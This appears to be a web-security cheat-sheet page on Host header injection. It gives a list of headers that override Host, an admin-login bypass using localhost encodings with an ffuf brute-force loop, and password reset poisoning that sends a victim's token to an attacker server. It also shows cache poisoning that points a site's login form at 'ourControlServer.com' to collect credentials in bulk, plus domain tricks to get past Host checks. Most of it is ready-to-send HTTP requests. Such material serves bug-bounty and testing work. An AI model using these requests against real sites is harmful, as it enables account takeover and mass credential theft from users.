Overwrite Host headers#

  • X-Forwarded-Host
  • X-HTTP-Host-Override
  • Forwarded
  • X-Host
  • X-Forwarded-Server

Example 1 - Authentication Bypass#

Imagine a web server only allow admin login locally. Normally, the most apparent and secure option would be to check the IP address of the request like this in PHP: $_SERVER['REMOTE_ADDR']. However, using source IP might be causing more issues when the webapp is behind a load balancer or reverse proxy. So many might opt into using the Host: header to determine if the request is made from local network

We can try input localhost in Host: header

GET /admin HTTP/1.1
Host: localhost

If that doesn’t work, try others like

  • Weird casing: loCalHoSt
  • Decimal encoding: 2130706433
  • Hex encoding: 0x7f000001
  • Octal encoding: 0177.0000.0000.0001
  • Zero: 0
  • Short form: 127.1
  • IPv6: ::1
  • IPv4 address in IPv6 format: [0:0:0:0:0:ffff:127.0.0.1] or [::ffff:127.0.0.1]

If it is checking for specific IP, it is doable but quite tedious due to the large number of local IP.

First, we can create a wordlist of IP in 192.168.0.0/16 range. There are also 10.0.0.0/8 range, and 172.16.0.0/12 for localhost.

for a in {1..255};do
    for b in {1..255};do
        echo "192.168.$a.$b" >> ips.txt
    done
done

Then we can brute force it with 250 thread. Remember to set filter code -fc and filter size -fs

ffuf -u 'http://website.com/admin' -H 'Host: FUZZ' -w ./ips.txt:FUZZ -c -t 250

Example 2 - Password Reset Poisoning#

This web application uses hostname from the Host: header to construct an absolute link And again, Host: header is a user input We cannot exploit this for XSS, howerver. Since any invalid characters like ">< gets rejected immediately by the web server.

We found an application that uses absolute link on web page

HTTP/1.1 200 OK

...
<link rel="stylesheet" type="text/css" href="https://example.com/script.js"
...

We then try to edit the Host: header to see if there is any reaction

GET / HTTP/1.1
Host: evil.com

And the hostname is reflected on the absolute link. However, we cannot do XSS (read above).

HTTP/1.1 200 OK

...
<link rel="stylesheet" type="text/css" href="https://evil.com/script.js"
...

Now we know that the web application is constructing the absolute link from the Host: header.

We explore the webapp more and found a password reset page. We reset our own password, but with our injected hosts header.

POST /reset HTTP/1.1
Host: evil.com

email=myaccount@email.com

And we received a password reset link in our email with our injected Host: header

https://evil.com/reset.php?token=asdasdasdasdasd

Now we can host a exfiltration server (see HTTPS Exfiltration Server), make a password reset with the Host: header being our controlled server hostname, and the email of our victim.

POST /reset HTTP/1.1
Host: ourControlServer.com

email=victim@email.com

We need user interaction to exploit this. But for bug bounty, demonstrate this with 2 accounts is good enough to receive bounty, and the Account Takeover inpact type is very serious.

Example 3 - Cache poisoning#

This web application uses hostname from the Host: header to construct an absolute link This webapp is also behind a web cache, and the Host: parameter is keyed (see Cache Poisoning)

We found an application that uses absolute link for a login form.

HTTP/1.1 200 OK

...
<form action="http://example.com/login.php" method="post" name="Login_Form" class="form-signin" id="form">
...

We then try to edit the Host: header to see if there is any reaction

GET / HTTP/1.1
Host: evil.com

And the hostname is reflected on the absolute link.

HTTP/1.1 200 OK

...
<form action="http://evil.com/login.php" method="post" name="Login_Form" class="form-signin" id="form">
...

Now we know:

  • The web application is constructing the absolute link from the Host: header.
  • However, the Host: header is keyed, meaning that users have to specifically request with this Host: header value to manipulate the absolute link, which is quite impossible. It would mean that they hacked themselves.

To solve that, we can try other headers to overwrite the Host: header. See #Overwrite Host headers

We use the Host header as cache buster, trying each overwrite header to see which one will overwrite the Host header

GET / HTTP/1.1
Host: abc.evil.com
X-Forwarded-Host: ourControlServer.com

And another one, until we found one that can overwrite Host header

GET / HTTP/1.1
Host: abcd.evil.com
X-HTTP-Host-Override: ourControlServer.com

And we finally found a header that works

GET / HTTP/1.1
Host: abcdefgh.evil.com
X-Host: ourControlServer.com

This is how the web server response. It uses value in X-Host header to construct absolute link instead of what in Host header.

HTTP/1.1 200 OK

...
<form action="http://ourControlServer.com/login.php" method="post" name="Login_Form" class="form-signin" id="form">
...

Now we can exploit this by changing the Host header to the webapp’s legitimate hostname. Time this request immediately after the cache expired.

GET / HTTP/1.1
Host: example.com
X-Host: ourControlServer.com

Since Host header is in cache key, and X-Host is unkeyed, it will display this to every legit user accessing the page.

HTTP/1.1 200 OK

...
<form action="http://ourControlServer.com/login.php" method="post" name="Login_Form" class="form-signin" id="form">
...

So every time a user enter their credentials, it will go to our control server instead of the webapp, and we can exfiltrate login credentials. Mass credentials exfiltration.

NOTE: we can also do mass XSS if the server load a script from absolute link. For example. server loads a script like this <script src="http://example.com/script.js We host our own control server ourControlServer.com, host a script on it at /script.js Do the same cache poisoning again. Now every user accessing the website will be hit with our XSS

Example 4 - Bypass Validation#

Same rodeo, web server uses Host header to construct absolute links. However, now there is a check

If the web server only check if the Host header contains its hostname, we can try bypassing by prepending or appending and register those domain to exfiltrate

GET / HTTP/1.1
Host: evilexample.com

or appending

GET / HTTP/1.1
Host: example.com.evil.com